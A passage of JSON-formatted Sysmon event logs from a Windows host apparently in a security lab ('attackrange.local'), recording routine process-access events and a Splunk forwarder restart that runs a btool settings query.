11:52:24.070","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2944,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.070\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.070","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2945,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.070\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-0010C2F50400}\r\nTargetProcessId: 4644\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.070","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-0010C2F50400}","TargetProcessId":"4644","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2946,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.083\r\nProcessGuid: {90617006-4078-5F2D-0000-0010F6F60400}\r\nProcessId: 4664\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c btool web list settings --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-4078-5F2D-0000-0010C2F50400}\r\nParentProcessId: 4644\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE\" restart --waitonpid=2820","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.083","ProcessGuid":"{90617006-4078-5F2D-0000-0010F6F60400}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c btool web list settings --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-4078-5F2D-0000-0010C2F50400}","ParentProcessId":"4644","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE\" restart --waitonpid=2820","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2947,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.070\r\nSourceProcessGUID: {90617006-4078-5F2D-0000-0010C2F50400}\r\nSourceProcessId: 4644\r\nSourceThreadId: 4636\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-0010F6F60400}\r\nTargetProcessId: 4664\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+146d6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+d8a0|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.070","SourceProcessGUID":"{90617006-4078-5F2D-0000-0010C2F50400}","SourceProcessId":"4644","SourceThreadId":"4636","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE","TargetProcessGUID":"{90617006-4078-5F2D-0000-0010F6F60400}","TargetProcessId":"4664","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+146d6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+d8a0|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2948,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.070\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-0010F6F60400}\r\nTargetProcessId: 4664\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.070","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-0010F6F60400}","TargetProcessId":"4664","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2949,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.070\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.070","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2950,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.070\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.070","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2951,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.070\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.070","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2952,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.070\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 